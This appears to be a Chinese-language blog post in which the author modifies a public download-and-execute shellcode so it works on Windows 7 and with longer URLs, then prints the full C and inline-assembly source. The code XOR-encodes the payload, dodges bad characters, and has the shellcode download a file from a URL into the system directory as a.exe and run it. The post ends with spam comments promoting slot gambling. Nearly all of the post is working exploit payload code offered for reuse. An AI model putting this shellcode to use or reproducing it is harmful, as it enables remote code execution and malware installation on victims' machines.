很久沒打網誌了丟些來湊篇幅XD
某些需求,需要Download and Exec file的shellcode,而且要For win7也可以work的
網路上找不到經指點只好自己改
改的時候才發現還是有些問題XD
shellcode原始版本 From
http://www.exploit-db.com/exploits/13529/
* Author : lion
* : lion#cnhonker.net
* : http://www.cnhonker.com
首先是發現當網址長度 > 40 bytes時shellcode執行會失敗
實際去追蹤後發現出錯點位於decode shellcode中發生問題
第314行
mov cl,0xFF
cl放的是要被解碼shellcode的offset偏移量,會被程式動態patch,最長只有到255
shellcode_decode 21 bytes
shellcode_main 194 bytes
網址長度 X bytes
當21 + 194 + X > 255時就會出錯
所以修改一下
mov cl, 0xff
Opcode為 B1 FF
mov ecx, 0xff
Opcode為 B9 FF 00 00 00
再把#DEFINE的偏移量+3 bytes以及修改判斷動態patch的部分即可
至於通用性的問題
在 Windows XP / 2k / 2k3可成功,Windows 7失敗的原因在於
由於這隻shellcode是透過PEB取得ImageBase,WIndows 7後會再Kernel32.dll前先載入kernelbase.dll,所以造成ImageBase取錯
改法也很簡單,判斷取得dll名稱的長度即可XD
詳細細節可參閱:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://bbs.pediy.com/showthread.php?t=122260
http://bbs.pediy.com/showthread.php?t=99007
修改後版本XD
/*
*-----------------------------------------------------------------------
*
* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion#cnhonker.net
* : http://www.cnhonker.com
* :
* Date : 2003-08-15
* :
* Update : 2004-05-05 v3.1
* : 2004-01-08 v3.0
* : 2003-09-10 v2.0
* : 2003-08-15 v1.0
* :
* Tested : Windows 2000/Windows XP/windows 2003
* :
* Notice : 1. 通過peb取得kernel32.dll地址。
* : 2. 通過函數的hash值來進行比較,代替GetProcAddress取得函數地址,節省函數名佔用的空間。
* : 3. 利用循環獲取hash值和函數地址,節省空間。
* : 4. 下載url文件並執行。
* : 5. 用vc6可以命令行直接編譯,方便修改。
* : 6. win2000/winxp/win2003 下測試成功。
* : 7. 比較小巧,長度為241 bytes。
* :
* Complie : cl downloadurl_v31.c
* :
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
* : http://www.metasploit.com/shellcode.html
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13
// Define Decode Parameter
#define DECODE_LEN 24
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 14
#define ENC_KEY 0x99
// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]
//#define ADDR_URL edi
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"GetSystemDirectoryA"}, // [esi+4]
{"WinExec"}, // [esi+8]
{"ExitProcess"}, // [esi+12]
//("ExitThread"},
//{"TerminateProcess"},
// urlmon 1 // 01 urlmon.dll
{"URLDownloadToFileA"}, // [esi+16]
{""},
};
// Shellcode string
unsigned char sc[1024] = {0};
unsigned char url[]=
"http://127.0.0.1/calc.exe\x00";
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
// Print Shellcode
void PrintSc(unsigned char *sc, int len)
{
int i,j;
char *p;
char msg[6];
//printf("/* %d bytes */\n", buffsize);
// Print general shellcode
for(i = 0; i < len; i++)
{
if((i%16)==0)
{
if(i!=0)
printf("\"\n\"");
else
printf("\"");
}
//printf("\\x%.2X", sc[i]);
sprintf(msg, "\\x%.2X", sc[i] & 0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf("\";\n");
}
void Make_ShellCode()
{
unsigned char *pSc_addr;
unsigned int Sc_len;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
printf("[+] Get functions hash strings.\r\n");
for (i=0;;i++)
{
if (functions[i][0] == '\x0') break;
dwHash[i] = GetHash((char*)functions[i]);
printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url, sizeof(url)-1);
Sc_len += sizeof(url)-1;
// Print the size of shellcode.
printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);
// Print the ip/port offset
for(k=0; k <= Sc_len-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35)
printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
if(sc[k] == 0x7F && sc[k+3] == 0x01)
printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
}
/*
for(i=DECODE_LEN; i<Sc_len; i++)
{
sc[i] ^= Enc_key;
}
*/
// Print shellcode
//PrintSc(sc, Sc_len);
// Deal with find the right XOR byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=DECODE_LEN; j<Sc_len; j++)
{
if (
((sc[j] ^ i) == 0x26) || //%
((sc[j] ^ i) == 0x3d) || //=
((sc[j] ^ i) == 0x3f) || //?
((sc[j] ^ i) == 0x40) || //@
((sc[j] ^ i) == 0x00) ||
((sc[j] ^ i) == 0x0D) ||
((sc[j] ^ i) == 0x0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte£?l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("[+] Find XOR Byte: 0x%02X\n", i);
for(j=DECODE_LEN; j<Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found!\r\n");
exit(-1);
}
// Deal with DeCode string
if (Sc_len > 0xff)
*(unsigned char *)&sc[SC_LEN_OFFSET + 1] = Sc_len >> 8;
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
// Print decode
printf("/* %d bytes decode */\r\n", DECODE_LEN);
PrintSc(sc, DECODE_LEN);
// Print shellcode
printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
PrintSc((unsigned char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
printf("[+] download url:%s\n", url);
}
void main()
{
DWORD addr;
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode();
addr = (DWORD)≻
__asm
{
jmp addr
}
return;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov ecx,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],0x99 // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
xor ecx, ecx
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
next_module:
//lodsd // eax = InInitOrder.blink
mov edx, [esi+8] // ebp = kernel32.dll base address
mov ebx, [esi+0x20]
mov esi, [esi]
cmp [ebx+12*2], cl
jne next_module
mov ebp, edx
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0x00006e6f
push 0x6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA:
sub esp, 0x20
mov ebx, esp
push 0x20
push ebx
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0x652E615C // "\a.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%\a.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push eax
push ebx
call ADDR_WinExec // WinExec(%systemdir%\a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
// milw0rm.com [2004-10-25]
Many players might think they are pg slot เครดิตฟรี
回覆刪除very lucky. But the truth is pg slot เครดิตฟรี
that playing slots for money does not depend solely on luck. Because there are techniques
pg168
回覆刪除